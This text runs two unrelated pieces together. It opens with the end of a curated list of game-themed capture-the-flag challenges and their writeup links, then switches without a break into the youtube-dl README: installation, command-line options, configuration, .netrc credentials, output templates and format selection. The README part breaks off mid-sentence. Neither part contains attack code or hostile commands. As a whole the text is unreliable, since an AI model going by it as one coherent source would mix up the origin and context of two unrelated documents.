https://bananamafia.dev/post/r2ctf-2019/ https://github.com/s0larpunk/ctf_challenge_writeups/blob/f4960a50fdf5446f13e4ee3131900901777e86ec/2019/ctf_solutions/radare_ctf/radare_ctf_writeup.md 7. **Hacklu CTF 2014** - [At gunpoint](https://github.com/ctfhacker/ctf-binaries/tree/master/binary-ctf/hack-lu-ctf-2014/at-gunpoint) https://www.tasteless.eu/post/2014/10/hack-lu-ctf-2014-at-gunpoint/ https://w00tsec.blogspot.com/2014/10/hacklu-2014-ctf-write-up-at-gunpoint.html https://radareorg.github.io/blog/posts/solving-at-gunpoint-from-hack-lu-2014-with-radare2/ 8. **CSAW CTF 2015** - [Hacking Time](https://github.com/osirislab/CSAW-CTF-2015-Quals/tree/master/reversing/HackingTime) - [PwnAdventure Z](https://github.com/Vector35/PwnAdventureZ) Physical Cartridge for PwnAdventure Z https://shop.binary.ninja/collections/all/products/pwn-adventure-z-cartridge Writeups https://bruce30262.github.io/csaw-ctf-2015-hacking-time/ https://www.voidsecurity.in/2015/09/csaw-ctf-re200-hacking-time.html https://www.hackucf.org/csaw-2015-finals-blox-pwnadventurez-re-250/ 9. **Reply CTF 2018** - [GOODBOY](https://challenges.reply.com/tamtamy/file/download-29827.action) https://xz.aliyun.com/t/2858#toc-4 10. **TUM CTF Teaser 2015** - [Cloud Gaming](https://2015.ctf.link/challenges/12/) 11. **Rootme** - [Basic GameBoy crackme](https://www.root-me.org/en/Challenges/Cracking/GB-Basic-GameBoy-crackme) 12. **44con CTF 2018** - [SMB](https://drive.google.com/open?id=1K2t6zyJxzCwBkdJFMWRrcenyoZl5aetx) https://leigh-annegalloway.com/44con-ctf-writeup/ 13. **KipodAfterFree CTF 2020** - [Gamebob](https://github.com/Michaelikarasik/ctfs/tree/4a68f238edb7123522af1c7265dac89b3831c813/jeopardy/kipod_after_free/gamebob) https://teamrocketist.github.io/2019/12/26/Reverse-Kipod2019-GameBob/ 14. **RCTF 2020** - [My Switch Game](https://adworld.xctf.org.cn/media/uploads/task/96885ee00f0a43369b656e0d1498a040.zip) https://blog.rois.io/en/2020/rctf-2020-official-writeup-2/ 15. **CTFZone Quals 2019** - [M394Dr1V3 cr4cKM3](https://captf3.captf.com/2019/ctfzone/reversing/m394dr1v3-cr4ckm3/) https://ptr-yudai.hatenablog.com/entry/2019/12/02/093635 16. **HackTheBox** - [Nostalgia](https://www.hackthebox.eu/home/challenges/Reversing) https://exp111.github.io/Nostalgia/ 17. **InCTF 2020** - [The Invisible Maze](https://0xd13a.github.io/ctfs/inctf2020/invisible-maze/output.gb) https://0xd13a.github.io/ctfs/inctf2020/invisible-maze/ 18. **ALLES! CTF 2020** - [Flag Service Revolution](https://github.com/allesctf/2020/blob/master/challenges/flag_service_revolution/public/flag_service_revolution.7z) https://blog.d1r3wolf.com/2020/09/alles-ctf-2020-writeups.html#flag_resolution --- ### Android 1. **Google CTF 2018** - [shall we play a game](https://github.com/google/google-ctf/tree/8e0f4a637d295f46ebb4a7213cdf4947b3881eec/2018/quals/re-android) https://w0y.at/writeup/2018/07/02/google-ctf-quals-2018-shall-we-play-a-game.html https://github.com/AdityaVallabh/ctf-write-ups/tree/master/Google%20CTF%202018/Shall%20We%20Play%20a%20Game%3F 2. **Google CTF 2019** - [Flappy Bird](https://github.com/google/google-ctf/tree/master/2019/quals/reversing-android/attachments) https://blog.nviso.eu/2019/07/18/solving-flaggy-bird-google-ctf-2019/ 3. **RCTF 2020** - [Play The Game](https://adworld.xctf.org.cn/media/uploads/task/cb3f4ef2acd145beb3f5b671fda677a2.zip) https://blog.rois.io/en/2020/rctf-2020-official-writeup-2/ 4. **Defenit CTF 2020** - [Catchmouse](https://drive.google.com/file/d/1AMlDm8OGFwwKk2vJYTT5W_2GqY89xMqc/view) https://github.com/TFNS/writeups/blob/master/2020-06-05-DefenitCTF/catchmouse/README.md 5. **ALLES! CTF 2020** - [Prehistoric Mario](https://github.com/allesctf/2020/blob/master/challenges/prehistoric-mario/public/prehistoric-mario.apk) https://abhaynayar.com/ctf/alles.html https://github.com/ARESxCyber/Writeups/tree/master/ALLES!%20CTF%202020/prehistoric%20mario https://blog.d1r3wolf.com/2020/09/alles-ctf-2020-writeups.html#prehistoric_mario --- ### Web Most of the web games are dead! 1. **CSAW CTF Finals 2018** - [Wic Wac Woe](https://github.com/osirislab/CSAW-CTF-2018-Finals/tree/a25d847da426baa6ebe54545ac540e12ab6408ee/pwn/wic_wac_woe) https://zackorndorff.com/2018/11/13/csaw-ctf-finals-2018-wic-wac-woe-1-writeup/ 2. **Plaid CTF 2019** - Watness http://blog.rb-tree.xyz/2019/04/22/plaidctf-2019-the-wat-ness/ 3. **TJCTF 2020** - Gamer W https://canirudh.codes/posts/tjctf-gamerw-writeup/ 4. **Bountycon 2020** - Proof-of-Game https://kishanbagaria.com/bountycon-2020/#proof-of-game--web--published-dec-30 5. **Dice CTF 2021** - [DICE IS YOU](https://github.com/dicegang/dicectf-2021-challs/tree/master/rev/dice-is-you) https://thegoonies.github.io/2021/02/08/dicectf-2021-rev-dice-is-you/ https://debugmen.dev/ctf-writeup/2021/02/08/diceisyou.html https://github.com/nreusch/writeups/blob/master/dicectf_2021/writeup.md --- ## Contributing Help me in keeping this list updated by : - Providing new games you encounter in ctfs to me over Twitter : [@MrT4ntr4](https://twitter.com/MrT4ntr4) - Opening Pull Requests
[![Build Status](https://github.com/ytdl-org/youtube-dl/workflows/CI/badge.svg)](https://github.com/ytdl-org/youtube-dl/actions?query=workflow%3ACI) youtube-dl - download videos from youtube.com or other video platforms - [INSTALLATION](#installation) - [DESCRIPTION](#description) - [OPTIONS](#options) - [CONFIGURATION](#configuration) - [OUTPUT TEMPLATE](#output-template) - [FORMAT SELECTION](#format-selection) - [VIDEO SELECTION](#video-selection) - [FAQ](#faq) - [DEVELOPER INSTRUCTIONS](#developer-instructions) - [EMBEDDING YOUTUBE-DL](#embedding-youtube-dl) - [BUGS](#bugs) - [COPYRIGHT](#copyright) # INSTALLATION To install it right away for all UNIX users (Linux, macOS, etc.), type: sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl If you do not have curl, you can alternatively use a recent wget: sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl Windows users can [download an .exe file](https://yt-dl.org/latest/youtube-dl.exe) and place it in any location on their [PATH](https://en.wikipedia.org/wiki/PATH_%28variable%29) except for `%SYSTEMROOT%\System32` (e.g. **do not** put in `C:\Windows\System32`). You can also use pip: sudo -H pip install --upgrade youtube-dl This command will update youtube-dl if you have already installed it. See the [pypi page](https://pypi.python.org/pypi/youtube_dl) for more information. macOS users can install youtube-dl with [Homebrew](https://brew.sh/): brew install youtube-dl Or with [MacPorts](https://www.macports.org/): sudo port install youtube-dl Alternatively, refer to the [developer instructions](#developer-instructions) for how to check out and work with the git repository. For further options, including PGP signatures, see the [youtube-dl Download Page](https://ytdl-org.github.io/youtube-dl/download.html). # DESCRIPTION **youtube-dl** is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on macOS. It is released to the public domain, which means you can modify it, redistribute it or use it however you like. youtube-dl [OPTIONS] URL [URL...] # OPTIONS -h, --help Print this help text and exit --version Print program version and exit -U, --update Update this program to latest version. Make sure that you have sufficient permissions (run with sudo if needed) -i, --ignore-errors Continue on download errors, for example to skip unavailable videos in a playlist --abort-on-error Abort downloading of further videos (in the playlist or the command line) if an error occurs --dump-user-agent Display the current browser identification --list-extractors List all supported extractors --extractor-descriptions Output descriptions of all supported extractors --force-generic-extractor Force extraction to use the generic extractor --default-search PREFIX Use this prefix for unqualified URLs. For example "gvsearch2:" downloads two videos from google videos for youtube- dl "large apple". Use the value "auto" to let youtube-dl guess ("auto_warning" to emit a warning when guessing). "error" just throws an error. The default value "fixup_error" repairs broken URLs, but emits an error if this is not possible instead of searching. --ignore-config Do not read configuration files. When given in the global configuration file /etc/youtube-dl.conf: Do not read the user configuration in ~/.config/youtube-dl/config (%APPDATA%/youtube-dl/config.txt on Windows) --config-location PATH Location of the configuration file; either the path to the config or its containing directory. --flat-playlist Do not extract the videos of a playlist, only list them. --mark-watched Mark videos watched (YouTube only) --no-mark-watched Do not mark videos watched (YouTube only) --no-color Do not emit color codes in output ## Network Options: --proxy URL Use the specified HTTP/HTTPS/SOCKS proxy. To enable SOCKS proxy, specify a proper scheme. For example socks5://127.0.0.1:1080/. Pass in an empty string (--proxy "") for direct connection --socket-timeout SECONDS Time to wait before giving up, in seconds --source-address IP Client-side IP address to bind to -4, --force-ipv4 Make all connections via IPv4 -6, --force-ipv6 Make all connections via IPv6 ## Geo Restriction: --geo-verification-proxy URL Use this proxy to verify the IP address for some geo-restricted sites. The default proxy specified by --proxy (or none, if the option is not present) is used for the actual downloading. --geo-bypass Bypass geographic restriction via faking X-Forwarded-For HTTP header --no-geo-bypass Do not bypass geographic restriction via faking X-Forwarded-For HTTP header --geo-bypass-country CODE Force bypass geographic restriction with explicitly provided two-letter ISO 3166-2 country code --geo-bypass-ip-block IP_BLOCK Force bypass geographic restriction with explicitly provided IP block in CIDR notation ## Video Selection: --playlist-start NUMBER Playlist video to start at (default is 1) --playlist-end NUMBER Playlist video to end at (default is last) --playlist-items ITEM_SPEC Playlist video items to download. Specify indices of the videos in the playlist separated by commas like: "-- playlist-items 1,2,5,8" if you want to download videos indexed 1, 2, 5, 8 in the playlist. You can specify range: " --playlist-items 1-3,7,10-13", it will download the videos at index 1, 2, 3, 7, 10, 11, 12 and 13. --match-title REGEX Download only matching titles (regex or caseless sub-string) --reject-title REGEX Skip download for matching titles (regex or caseless sub-string) --max-downloads NUMBER Abort after downloading NUMBER files --min-filesize SIZE Do not download any videos smaller than SIZE (e.g. 50k or 44.6m) --max-filesize SIZE Do not download any videos larger than SIZE (e.g. 50k or 44.6m) --date DATE Download only videos uploaded in this date --datebefore DATE Download only videos uploaded on or before this date (i.e. inclusive) --dateafter DATE Download only videos uploaded on or after this date (i.e. inclusive) --min-views COUNT Do not download any videos with less than COUNT views --max-views COUNT Do not download any videos with more than COUNT views --match-filter FILTER Generic video filter. Specify any key (see the "OUTPUT TEMPLATE" for a list of available keys) to match if the key is present, !key to check if the key is not present, key > NUMBER (like "comment_count > 12", also works with >=, <, <=, !=, =) to compare against a number, key = 'LITERAL' (like "uploader = 'Mike Smith'", also works with !=) to match against a string literal and & to require multiple matches. Values which are not known are excluded unless you put a question mark (?) after the operator. For example, to only match videos that have been liked more than 100 times and disliked less than 50 times (or the dislike functionality is not available at the given service), but who also have a description, use --match-filter "like_count > 100 & dislike_count <? 50 & description" . --no-playlist Download only the video, if the URL refers to a video and a playlist. --yes-playlist Download the playlist, if the URL refers to a video and a playlist. --age-limit YEARS Download only videos suitable for the given age --download-archive FILE Download only videos not listed in the archive file. Record the IDs of all downloaded videos in it. --include-ads Download advertisements as well (experimental) ## Download Options: -r, --limit-rate RATE Maximum download rate in bytes per second (e.g. 50K or 4.2M) -R, --retries RETRIES Number of retries (default is 10), or "infinite". --fragment-retries RETRIES Number of retries for a fragment (default is 10), or "infinite" (DASH, hlsnative and ISM) --skip-unavailable-fragments Skip unavailable fragments (DASH, hlsnative and ISM) --abort-on-unavailable-fragment Abort downloading when some fragment is not available --keep-fragments Keep downloaded fragments on disk after downloading is finished; fragments are erased by default --buffer-size SIZE Size of download buffer (e.g. 1024 or 16K) (default is 1024) --no-resize-buffer Do not automatically adjust the buffer size. By default, the buffer size is automatically resized from an initial value of SIZE. --http-chunk-size SIZE Size of a chunk for chunk-based HTTP downloading (e.g. 10485760 or 10M) (default is disabled). May be useful for bypassing bandwidth throttling imposed by a webserver (experimental) --playlist-reverse Download playlist videos in reverse order --playlist-random Download playlist videos in random order --xattr-set-filesize Set file xattribute ytdl.filesize with expected file size --hls-prefer-native Use the native HLS downloader instead of ffmpeg --hls-prefer-ffmpeg Use ffmpeg instead of the native HLS downloader --hls-use-mpegts Use the mpegts container for HLS videos, allowing to play the video while downloading (some players may not be able to play it) --external-downloader COMMAND Use the specified external downloader. Currently supports aria2c,avconv,axel,c url,ffmpeg,httpie,wget --external-downloader-args ARGS Give these arguments to the external downloader ## Filesystem Options: -a, --batch-file FILE File containing URLs to download ('-' for stdin), one URL per line. Lines starting with '#', ';' or ']' are considered as comments and ignored. --id Use only video ID in file name -o, --output TEMPLATE Output filename template, see the "OUTPUT TEMPLATE" for all the info --output-na-placeholder PLACEHOLDER Placeholder value for unavailable meta fields in output filename template (default is "NA") --autonumber-start NUMBER Specify the start value for %(autonumber)s (default is 1) --restrict-filenames Restrict filenames to only ASCII characters, and avoid "&" and spaces in filenames -w, --no-overwrites Do not overwrite files -c, --continue Force resume of partially downloaded files. By default, youtube-dl will resume downloads if possible. --no-continue Do not resume partially downloaded files (restart from beginning) --no-part Do not use .part files - write directly into output file --no-mtime Do not use the Last-modified header to set the file modification time --write-description Write video description to a .description file --write-info-json Write video metadata to a .info.json file --write-annotations Write video annotations to a .annotations.xml file --load-info-json FILE JSON file containing the video information (created with the "--write- info-json" option) --cookies FILE File to read cookies from and dump cookie jar in --cache-dir DIR Location in the filesystem where youtube-dl can store some downloaded information permanently. By default $XDG_CACHE_HOME/youtube-dl or ~/.cache/youtube-dl . At the moment, only YouTube player files (for videos with obfuscated signatures) are cached, but that may change. --no-cache-dir Disable filesystem caching --rm-cache-dir Delete all filesystem cache files ## Thumbnail Options: --write-thumbnail Write thumbnail image to disk --write-all-thumbnails Write all thumbnail image formats to disk --list-thumbnails Simulate and list all available thumbnail formats ## Verbosity / Simulation Options: -q, --quiet Activate quiet mode --no-warnings Ignore warnings -s, --simulate Do not download the video and do not write anything to disk --skip-download Do not download the video -g, --get-url Simulate, quiet but print URL -e, --get-title Simulate, quiet but print title --get-id Simulate, quiet but print id --get-thumbnail Simulate, quiet but print thumbnail URL --get-description Simulate, quiet but print video description --get-duration Simulate, quiet but print video length --get-filename Simulate, quiet but print output filename --get-format Simulate, quiet but print output format -j, --dump-json Simulate, quiet but print JSON information. See the "OUTPUT TEMPLATE" for a description of available keys. -J, --dump-single-json Simulate, quiet but print JSON information for each command-line argument. If the URL refers to a playlist, dump the whole playlist information in a single line. --print-json Be quiet and print the video information as JSON (video is still being downloaded). --newline Output progress bar as new lines --no-progress Do not print progress bar --console-title Display progress in console titlebar -v, --verbose Print various debugging information --dump-pages Print downloaded pages encoded using base64 to debug problems (very verbose) --write-pages Write downloaded intermediary pages to files in the current directory to debug problems --print-traffic Display sent and read HTTP traffic -C, --call-home Contact the youtube-dl server for debugging --no-call-home Do NOT contact the youtube-dl server for debugging ## Workarounds: --encoding ENCODING Force the specified encoding (experimental) --no-check-certificate Suppress HTTPS certificate validation --prefer-insecure Use an unencrypted connection to retrieve information about the video. (Currently supported only for YouTube) --user-agent UA Specify a custom user agent --referer URL Specify a custom referer, use if the video access is restricted to one domain --add-header FIELD:VALUE Specify a custom HTTP header and its value, separated by a colon ':'. You can use this option multiple times --bidi-workaround Work around terminals that lack bidirectional text support. Requires bidiv or fribidi executable in PATH --sleep-interval SECONDS Number of seconds to sleep before each download when used alone or a lower bound of a range for randomized sleep before each download (minimum possible number of seconds to sleep) when used along with --max-sleep-interval. --max-sleep-interval SECONDS Upper bound of a range for randomized sleep before each download (maximum possible number of seconds to sleep). Must only be used along with --min- sleep-interval. ## Video Format Options: -f, --format FORMAT Video format code, see the "FORMAT SELECTION" for all the info --all-formats Download all available video formats --prefer-free-formats Prefer free video formats unless a specific one is requested -F, --list-formats List all available formats of requested videos --youtube-skip-dash-manifest Do not download the DASH manifests and related data on YouTube videos --merge-output-format FORMAT If a merge is required (e.g. bestvideo+bestaudio), output to given container format. One of mkv, mp4, ogg, webm, flv. Ignored if no merge is required ## Subtitle Options: --write-sub Write subtitle file --write-auto-sub Write automatically generated subtitle file (YouTube only) --all-subs Download all the available subtitles of the video --list-subs List all available subtitles for the video --sub-format FORMAT Subtitle format, accepts formats preference, for example: "srt" or "ass/srt/best" --sub-lang LANGS Languages of the subtitles to download (optional) separated by commas, use --list-subs for available language tags ## Authentication Options: -u, --username USERNAME Login with this account ID -p, --password PASSWORD Account password. If this option is left out, youtube-dl will ask interactively. -2, --twofactor TWOFACTOR Two-factor authentication code -n, --netrc Use .netrc authentication data --video-password PASSWORD Video password (vimeo, youku) ## Adobe Pass Options: --ap-mso MSO Adobe Pass multiple-system operator (TV provider) identifier, use --ap-list-mso for a list of available MSOs --ap-username USERNAME Multiple-system operator account login --ap-password PASSWORD Multiple-system operator account password. If this option is left out, youtube-dl will ask interactively. --ap-list-mso List all supported multiple-system operators ## Post-processing Options: -x, --extract-audio Convert video files to audio-only files (requires ffmpeg/avconv and ffprobe/avprobe) --audio-format FORMAT Specify audio format: "best", "aac", "flac", "mp3", "m4a", "opus", "vorbis", or "wav"; "best" by default; No effect without -x --audio-quality QUALITY Specify ffmpeg/avconv audio quality, insert a value between 0 (better) and 9 (worse) for VBR or a specific bitrate like 128K (default 5) --recode-video FORMAT Encode the video to another format if necessary (currently supported: mp4|flv|ogg|webm|mkv|avi) --postprocessor-args ARGS Give these arguments to the postprocessor -k, --keep-video Keep the video file on disk after the post-processing; the video is erased by default --no-post-overwrites Do not overwrite post-processed files; the post-processed files are overwritten by default --embed-subs Embed subtitles in the video (only for mp4, webm and mkv videos) --embed-thumbnail Embed thumbnail in the audio as cover art --add-metadata Write metadata to the video file --metadata-from-title FORMAT Parse additional metadata like song title / artist from the video title. The format syntax is the same as --output. Regular expression with named capture groups may also be used. The parsed parameters replace existing values. Example: --metadata-from-title "%(artist)s - %(title)s" matches a title like "Coldplay - Paradise". Example (regex): --metadata-from-title "(?P<artist>.+?) - (?P<title>.+)" --xattrs Write metadata to the video file's xattrs (using dublin core and xdg standards) --fixup POLICY Automatically correct known faults of the file. One of never (do nothing), warn (only emit a warning), detect_or_warn (the default; fix file if we can, warn otherwise) --prefer-avconv Prefer avconv over ffmpeg for running the postprocessors --prefer-ffmpeg Prefer ffmpeg over avconv for running the postprocessors (default) --ffmpeg-location PATH Location of the ffmpeg/avconv binary; either the path to the binary or its containing directory. --exec CMD Execute a command on the file after downloading and post-processing, similar to find's -exec syntax. Example: --exec 'adb push {} /sdcard/Music/ && rm {}' --convert-subs FORMAT Convert the subtitles to other format (currently supported: srt|ass|vtt|lrc) # CONFIGURATION You can configure youtube-dl by placing any supported command line option to a configuration file. On Linux and macOS, the system wide configuration file is located at `/etc/youtube-dl.conf` and the user wide configuration file at `~/.config/youtube-dl/config`. On Windows, the user wide configuration file locations are `%APPDATA%\youtube-dl\config.txt` or `C:\Users\<user name>\youtube-dl.conf`. Note that by default configuration file may not exist so you may need to create it yourself. For example, with the following configuration file youtube-dl will always extract the audio, not copy the mtime, use a proxy and save all videos under `Movies` directory in your home directory: ``` # Lines starting with # are comments # Always extract audio -x # Do not copy the mtime --no-mtime # Use this proxy --proxy 127.0.0.1:3128 # Save all videos under Movies directory in your home directory -o ~/Movies/%(title)s.%(ext)s ``` Note that options in configuration file are just the same options aka switches used in regular command line calls thus there **must be no whitespace** after `-` or `--`, e.g. `-o` or `--proxy` but not `- o` or `-- proxy`. You can use `--ignore-config` if you want to disable the configuration file for a particular youtube-dl run. You can also use `--config-location` if you want to use custom configuration file for a particular youtube-dl run. ### Authentication with `.netrc` file You may also want to configure automatic credentials storage for extractors that support authentication (by providing login and password with `--username` and `--password`) in order not to pass credentials as command line arguments on every youtube-dl execution and prevent tracking plain text passwords in the shell command history. You can achieve this using a [`.netrc` file](https://stackoverflow.com/tags/.netrc/info) on a per extractor basis. For that you will need to create a `.netrc` file in your `$HOME` and restrict permissions to read/write by only you: ``` touch $HOME/.netrc chmod a-rwx,u+rw $HOME/.netrc ``` After that you can add credentials for an extractor in the following format, where *extractor* is the name of the extractor in lowercase: ``` machine <extractor> login <login> password <password> ``` For example: ``` machine youtube login [email protected] password my_youtube_password machine twitch login my_twitch_account_name password my_twitch_password ``` To activate authentication with the `.netrc` file you should pass `--netrc` to youtube-dl or place it in the [configuration file](#configuration). On Windows you may also need to setup the `%HOME%` environment variable manually. For example: ``` set HOME=%USERPROFILE% ``` # OUTPUT TEMPLATE The `-o` option allows users to indicate a template for the output file names. **tl;dr:** [navigate me to examples](#output-template-examples). The basic usage is not to set any template arguments when downloading a single file, like in `youtube-dl -o funny_video.flv "https://some/video"`. However, it may contain special sequences that will be replaced when downloading each video. The special sequences may be formatted according to [python string formatting operations](https://docs.python.org/2/library/stdtypes.html#string-formatting). For example, `%(NAME)s` or `%(NAME)05d`. To clarify, that is a percent symbol followed by a name in parentheses, followed by formatting operations. Allowed names along with sequence type are: - `id` (string): Video identifier - `title` (string): Video title - `url` (string): Video URL - `ext` (string): Video filename extension - `alt_title` (string): A secondary title of the video - `display_id` (string): An alternative identifier for the video - `uploader` (string): Full name of the video uploader - `license` (string): License name the video is licensed under - `creator` (string): The creator of the video - `release_date` (string): The date (YYYYMMDD) when the video was released - `timestamp` (numeric): UNIX timestamp of the moment the video became available - `upload_date` (string): Video upload date (YYYYMMDD) - `uploader_id` (string): Nickname or id of the video uploader - `channel` (string): Full name of the channel the video is uploaded on - `channel_id` (string): Id of the channel - `location` (string): Physical location where the video was filmed - `duration` (numeric): Length of the video in seconds - `view_count` (numeric): How many users have watched the video on the platform - `like_count` (numeric): Number of positive ratings of the video - `dislike_count` (numeric): Number of negative ratings of the video - `repost_count` (numeric): Number of reposts of the video - `average_rating` (numeric): Average rating give by users, the scale used depends on the webpage - `comment_count` (numeric): Number of comments on the video - `age_limit` (numeric): Age restriction for the video (years) - `is_live` (boolean): Whether this video is a live stream or a fixed-length video - `start_time` (numeric): Time in seconds where the reproduction should start, as specified in the URL - `end_time` (numeric): Time in seconds where the reproduction should end, as specified in the URL - `format` (string): A human-readable description of the format - `format_id` (string): Format code specified by `--format` - `format_note` (string): Additional info about the format - `width` (numeric): Width of the video - `height` (numeric): Height of the video - `resolution` (string): Textual description of width and height - `tbr` (numeric): Average bitrate of audio and video in KBit/s - `abr` (numeric): Average audio bitrate in KBit/s - `acodec` (string): Name of the audio codec in use - `asr` (numeric): Audio sampling rate in Hertz - `vbr` (numeric): Average video bitrate in KBit/s - `fps` (numeric): Frame rate - `vcodec` (string): Name of the video codec in use - `container` (string): Name of the container format - `filesize` (numeric): The number of bytes, if known in advance - `filesize_approx` (numeric): An estimate for the number of bytes - `protocol` (string): The protocol that will be used for the actual download - `extractor` (string): Name of the extractor - `extractor_key` (string): Key name of the extractor - `epoch` (numeric): Unix epoch when creating the file - `autonumber` (numeric): Number that will be increased with each download, starting at `--autonumber-start` - `playlist` (string): Name or id of the playlist that contains the video - `playlist_index` (numeric): Index of the video in the playlist padded with leading zeros according to the total length of the playlist - `playlist_id` (string): Playlist identifier - `playlist_title` (string): Playlist title - `playlist_uploader` (string): Full name of the playlist uploader - `playlist_uploader_id` (string): Nickname or id of the playlist uploader Available for the video that belongs to some logical chapter or section: - `chapter` (string): Name or title of the chapter the video belongs to - `chapter_number` (numeric): Number of the chapter the video belongs to - `chapter_id` (string): Id of the chapter the video belongs to Available for the video that is an episode of some series or programme: - `series` (string): Title of the series or programme the video episode belongs to - `season` (string): Title of the season the video episode belongs to - `season_number` (numeric): Number of the season the video episode belongs to - `season_id` (string): Id of the season the video episode belongs to - `episode` (string): Title of the video episode - `episode_number` (numeric): Number of the video episode within a season - `episode_id` (string): Id of the video episode Available for the media that is a track or a part of a music album: - `track` (string): Title of the track - `track_number` (numeric): Number of the track within an album or a disc - `track_id` (string): Id of the track - `artist` (string): Artist(s) of the track - `genre` (string): Genre(s) of the track - `album` (string): Title of the album the track belongs to - `album_type` (string): Type of the album - `album_artist` (string): List of all artists appeared on the album - `disc_number` (numeric): Number of the disc or other physical medium the track belongs to - `release_year` (numeric): Year (YYYY) when the album was released Each aforementioned sequence when referenced in an output template will be replaced by the actual value corresponding to the sequence name. Note that some of the sequences are not guaranteed to be present since they depend on the metadata obtained by a particular extractor. Such sequences will be replaced with placeholder value provided with `--output-na-placeholder` (`NA` by default). For example for `-o %(title)s-%(id)s.%(ext)s` and an mp4 video with title `youtube-dl test video` and id `BaW_jenozKcj`, this will result in a `youtube-dl test video-BaW_jenozKcj.mp4` file created in the current directory. For numeric sequences you can use numeric related formatting, for example, `%(view_count)05d` will result in a string with view count padded with zeros up to 5 characters, like in `00042`. Output templates can also contain arbitrary hierarchical path, e.g. `-o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s'` which will result in downloading each video in a directory corresponding to this path template. Any missing directory will be automatically created for you. To use percent literals in an output template use `%%`. To output to stdout use `-o -`. The current default template is `%(title)s-%(id)s.%(ext)s`. In some cases, you don't want special characters such as 中, spaces, or &, such as when transferring the downloaded filename to a Windows system or the filename through an 8bit-unsafe channel. In these cases, add the `--restrict-filenames` flag to get a shorter title. #### Output template and Windows batch files If you are using an output template inside a Windows batch file then you must escape plain percent characters (`%`) by doubling, so that `-o "%(title)s-%(id)s.%(ext)s"` should become `-o "%%(title)s-%%(id)s.%%(ext)s"`. However you should not touch `%`'s that are not plain characters, e.g. environment variables for expansion should stay intact: `-o "C:\%HOMEPATH%\Desktop\%%(title)s.%%(ext)s"`. #### Output template examples Note that on Windows you may need to use double quotes instead of single. ```bash $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc youtube-dl test video ''_ä↭𝕐.mp4 # All kinds of weird characters $ youtube-dl --get-filename -o '%(title)s.%(ext)s' BaW_jenozKc --restrict-filenames youtube-dl_test_video_.mp4 # A simple file name # Download YouTube playlist videos in separate directory indexed by video order in a playlist $ youtube-dl -o '%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re # Download all playlists of YouTube channel/user keeping each playlist in separate directory: $ youtube-dl -o '%(uploader)s/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s' https://www.youtube.com/user/TheLinuxFoundation/playlists # Download Udemy course keeping each chapter in separate directory under MyVideos directory in your home $ youtube-dl -u user -p password -o '~/MyVideos/%(playlist)s/%(chapter_number)s - %(chapter)s/%(title)s.%(ext)s' https://www.udemy.com/java-tutorial/ # Download entire series season keeping each series and each season in separate directory under C:/MyVideos $ youtube-dl -o "C:/MyVideos/%(series)s/%(season_number)s - %(season)s/%(episode_number)s - %(episode)s.%(ext)s" https://videomore.ru/kino_v_detalayah/5_sezon/367617 # Stream the video being downloaded to stdout $ youtube-dl -o - BaW_jenozKc ``` # FORMAT SELECTION By default youtube-dl tries to download the best available quality, i.e. if you want the best quality you **don't need** to pass any special options, youtube-dl will guess it for you by **default**. But sometimes you may want to download in a different format, for example when you are on a slow or intermittent connection. The key mechanism for achieving this is so-called *format selection* based on which you can explicitly specify desired format, select formats based on some criterion or criteria, setup precedence and much more. The general syntax for format selection is `--format FORMAT` or shorter `-f FORMAT` where `FORMAT` is a *selector expression*, i.e. an expression that describes format or formats you would like to download. **tl;dr:** [navigate me to examples](#format-selection-examples). The simplest case is requesting a specific format, for example with `-f 22` you can download the format with format code equal to 22. You can get the list of available format codes for particular video using `--list-formats` or `-F`. Note that these format codes are extractor specific. You can also use a file extension (currently `3gp`, `aac`, `flv`, `m4a`, `mp3`, `mp4`, `ogg`, `wav`, `webm` are supported) to download the best quality format of a particular file extension served as a single file, e.g. `-f webm` will download the best quality format with the `webm` extension served as a single file. You can also use special names to select particular edge case formats: - `best`: Select the best quality format represented by a single file with video and audio. - `worst`: Select the worst quality format represented by a single file with video and audio. - `bestvideo`: Select the best quality video-only format (e.g. DASH video). May not be available. - `worstvideo`: Select the worst quality video-only format. May not be available. - `bestaudio`: Select the best quality audio only-format. May not be available. - `worstaudio`: Select the worst quality audio only-format. May not be available. For example, to download the worst quality video-only format you can use `-f worstvideo`. If you want to download multiple videos and they don't have the same formats available, you can specify the order of preference using slashes. Note that slash is left-associative, i.e. formats on the left hand side are preferred, for example `-f 22/17/18` will download format 22 if it's available, otherwise it will download format 17 if it's available, otherwise it will download format 18 if it's available, otherwise it will complain that no suitable formats are available for download. If you want to download several formats of the same video use a comma as a separator, e.g. `-f 22,17,18` will download all these three formats, of course if they are available. Or a more sophisticated example combined with the precedence feature: `-f 136/137/mp4/bestvideo,140/m4a/bestaudio`. You can also filter the video formats by putting a condition in brackets, as in `-f "best[height=720]"` (or `-f "[filesize>10M]"`). The following numeric meta fields can be used with comparisons `<`, `<=`, `>`, `>=`, `=` (equals), `!=` (not equals): - `filesize`: The number of bytes, if known in advance - `width`: Width of the video, if known - `height`: Height of the video, if known - `tbr`: Average bitrate of audio and video in KBit/s - `abr`: Average audio bitrate in KBit/s - `vbr`: Average video bitrate in KBit/s - `asr`: Audio sampling rate in Hertz - `fps`: Frame rate Also filtering work for comparisons `=` (equals), `^=` (starts with), `$=` (ends with), `*=` (contains) and following string meta fields: - `ext`: File extension - `acodec`: Name of the audio codec in use - `vcodec`: Name of the video codec in use - `container`: Name of the container format - `protocol`: The protocol that will be used for the actual download, lower-case (`http`, `https`, `rtsp`, `rtmp`, `rtmpe`, `mms`, `f4m`, `ism`, `http_dash_segments`, `m3u8`, or `m3u8_native`) - `format_id`: A short description of the format - `language`: Language code Any string comparison may be prefixed with negation `!` in order to produce an opposite comparison, e.g. `!*=` (does not contain). Note that none of the aforementioned meta fields are guaranteed to be present since this solely depends on the metadata obtained by particular extractor, i.e. the metadata offered by the video hoster. Formats for which the value is not known are excluded unless you put a question mark (`?`) after the operator. You can combine format filters, so `-f "[height <=? 720][tbr>500]"` selects up to 720p videos (or 